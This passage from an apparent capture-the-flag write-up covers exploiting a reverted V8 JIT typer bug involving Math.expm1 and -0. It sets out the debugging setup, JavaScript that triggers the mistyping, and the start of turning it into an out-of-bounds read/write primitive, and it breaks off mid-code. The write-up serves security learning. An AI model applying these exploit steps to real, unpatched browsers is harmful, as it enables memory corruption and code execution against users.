get past the “typer” and “load elimination” phases, and we need to
trigger the bug in the “simplified lowering” phase.&lt;/p&gt;

&lt;p&gt;Once we have surpassed these issues, we need to ensure that the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object.is&lt;/code&gt; becomes into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameValue&lt;/code&gt; node, instead of a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ObjectIsMinusZero&lt;/code&gt; node, in addition to making sure that the value
passed into this comes from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Call&lt;/code&gt; node, rather than a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FloatExpm1&lt;/code&gt;
node.&lt;/p&gt;

&lt;p&gt;Once we have surpassed these issues, the (wrong) type can be used to
perform a bounds check elimination. This means that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckBounds&lt;/code&gt;
node that exists before an array access would be removed, and we
obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this,
we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and
some “good” memory leaks, which we can then use to &lt;em&gt;somehow&lt;/em&gt;
manipulate memory and give us a shell.&lt;/p&gt;

&lt;p&gt;As for how the &lt;em&gt;somehow&lt;/em&gt; would work: in the past, attacking JavaScript
Engines was much easier, since they used to have RWX pages, used for
JITed functions, where once we had arbitrary read write, we could’ve
simply thrown in our shellcode into a JITed function and then called
it. Nowadays, we don’t have RWX pages, so we’ll need to come up with a
way around it.&lt;/p&gt;

&lt;h2 id=&quot;setting-up-debugging&quot;&gt;Setting up Debugging&lt;/h2&gt;

&lt;p&gt;In order to aid debugging, as mentioned in the previous section, we
build a debug build of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt;. In addition to this, we also use
&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/refs/heads/candidate/tools/turbolizer/&quot;&gt;Turbolizer&lt;/a&gt;
which will help us visualize the &lt;a href=&quot;https://darksi.de/d.sea-of-nodes/&quot;&gt;“sea of
nodes”&lt;/a&gt; graphs that v8 produces
during optimization.&lt;/p&gt;

&lt;p&gt;For debugging during exploit development, I will also be using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt;
with &lt;a href=&quot;https://github.com/longld/peda&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peda&lt;/code&gt;&lt;/a&gt; (mostly for its
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telescope&lt;/code&gt; command), but &lt;a href=&quot;./pedamod.py&quot;&gt;with some
modifications&lt;/a&gt;. These modifications make it easier to
work with pointers in v8, which are &lt;a href=&quot;https://en.wikipedia.org/wiki/Tagged_pointer&quot;&gt;“tagged
pointers”&lt;/a&gt; where their
least significant bit is set. Since we know that pointers are not used
directly but offset by 1, the modifications that I introduced into
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peda&lt;/code&gt; check and reset the least significant bit, before being used
for further work in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telescope&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;Another last important debug technique, before we get to triggering
the bug is v8 natives syntax. These are functions that begin with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%&lt;/code&gt;,
and the two important ones we’ll be using are
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%OptimizeFunctionOnNextCall&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%DebugPrint&lt;/code&gt;, both of which do
exactly what they say they do.&lt;/p&gt;

&lt;h2 id=&quot;triggering-the-bug&quot;&gt;Triggering the Bug&lt;/h2&gt;

&lt;p&gt;Now with all the important basics out of the way, how do we trigger
this bug?&lt;/p&gt;

&lt;p&gt;The answer lies in the patch files that are provided to us. In
particular
&lt;a href=&quot;./rerevert-bugfix-880207.patch&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;revert-bugfix-880207.patch&lt;/code&gt;&lt;/a&gt; shows
that rather than reverting both the changes in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;operation-typer.cc&lt;/code&gt;
and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;typer.cc&lt;/code&gt;, only the changes in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;typer.cc&lt;/code&gt; have been
reverted. However, along with this, quite helpfully, a regression unit
test has also been reverted. We can use this unit test.&lt;/p&gt;

&lt;p&gt;Side note: The &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=880207&quot;&gt;chromium bug tracker
link&lt;/a&gt;
which is linked from the project zero link was not accessible during
most of the CTF, and was derestricted (if I remember correctly) closer
to the second day of the CTF. It confirms that the bug was fixed in
two parts (see &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=880207#c8&quot;&gt;Comment #8&lt;/a&gt;),
and here, only the second part is reverted for this challenge.&lt;/p&gt;

&lt;p&gt;Back to triggering the bug. We use the provided regression test to
first check if the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt; and debug &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt; actually work on this
test. We don’t want to depend on
&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/dde25872f58951bb0148cf43d6a504ab2f280485/test/mjsunit/mjsunit.js&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjsunit.js&lt;/code&gt;&lt;/a&gt;. So,
we remove the fluff that isn’t “standard” JS or an optimization
native, and check, if we can trigger it. Fortunately, we can, with the following code:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Compile function optimistically for numbers (with fast inlined&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// path for Math.expm1).&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Invalidate the optimistic assumption, deopting and marking non-number&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// input feedback in the call IC.&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Optimize again, now with non-lowered call to Math.expm1.&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// returns: false. expected: true.&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using Turbolizer (described in the previous section), we can now start
to work on triggering this bug at the correct phase (“simplified
lowering”).&lt;/p&gt;

&lt;p&gt;Noticing that the phase that lies between “load elimination” (where we
do &lt;em&gt;not&lt;/em&gt; want the bug to be triggered yet) and “simplified lowering”
(where we want bug to be triggered) phases, there lies the “escape
analysis” phase. Clearly, we need to perform some manipulations at
this phase in order to “hide” the bug from the optimizer before, and
then “reveal” after.&lt;/p&gt;

&lt;p&gt;There’s a great talk by Tobias Ebbi titled &lt;a href=&quot;https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf&quot;&gt;“Escape Analysis in
v8”&lt;/a&gt;,
that was super useful in understanding the complexities involved in
escape analysis. Thankfully, we don’t need to worry about most of
it. We can simply use the intuition that if an object does not escape,
and this is “easy” for v8 to prove, then it will convert the object’s
members into local variables instead.&lt;/p&gt;

&lt;p&gt;With this idea in mind, I tried to mess around with objects until I
was able to get something to work, which would not trigger on the
first two relevant phases, and would trigger on the
3rd. Unfortunately, I wasted a bunch of time due to not being able to
see feedback types from simplified lowering in Turbolizer. If someone
has a good way to have these show up, please do let me know :)
However, I finally started to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--trace-representation&lt;/code&gt; flag
(thereby my whole &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt; command was
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo&lt;/code&gt;)
which allowed me to see feedback types at the terminal. Using these, I
could now figure out whether I was triggering the bug at the right
point, and turns out I had figured it out a while ago: it just wasn’t
showing up in Turbolizer (since that was showing types, and not the
feedback types, which “simplified lowering” uses).&lt;/p&gt;

&lt;p&gt;The final code used for triggering the bug, exactly in the phase we
wanted (with a minor change to force it to be an integer, which will
be useful in the next stages of writing this exploit):&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;zz&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;zz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;escalating-to-an-oob-rw&quot;&gt;Escalating to an OOB RW&lt;/h2&gt;

&lt;p&gt;Once we have the bug triggering as expected, we have to now start to
abuse this. The plan was to add an array of floats, and use this
mismatched value in order to have the value at some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; which is
outside the array, but have the optimizer think that we are indexing
from 0. This way, the optimizer would eliminate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckBounds&lt;/code&gt;
node, and we’ll have an OOB RW primitive.&lt;/p&gt;

&lt;p&gt;Unfortunately, this is easier said than done. Due to the nature of
this bug, and the method I was using to ensure it stays a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Call&lt;/code&gt; node,
the “inlining” phase (in particular, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSNativeContextSpecialization&lt;/code&gt;
which runs during that phase) &lt;em&gt;splits&lt;/em&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckBounds&lt;/code&gt; node into
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckBounds&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NumberLessThan&lt;/code&gt; nodes. The “real” length check now
happens at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NumberLessThan&lt;/code&gt;, and unfortunately, the “simplified
lowering” phase does not propagate feedback types along
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NumberLessThan&lt;/code&gt; nodes.&lt;/p&gt;

&lt;p&gt;This had me stumped for a while, and I kept trying various different
alternative ways of calling things, and also read through a lot of the
v8 code base, trying to understand how to prevent this from happening.&lt;/p&gt;

&lt;p&gt;I finally stumbled upon this (basically, it required having both
functions take and pass the same arguments):&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;aux_y&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		 &lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;
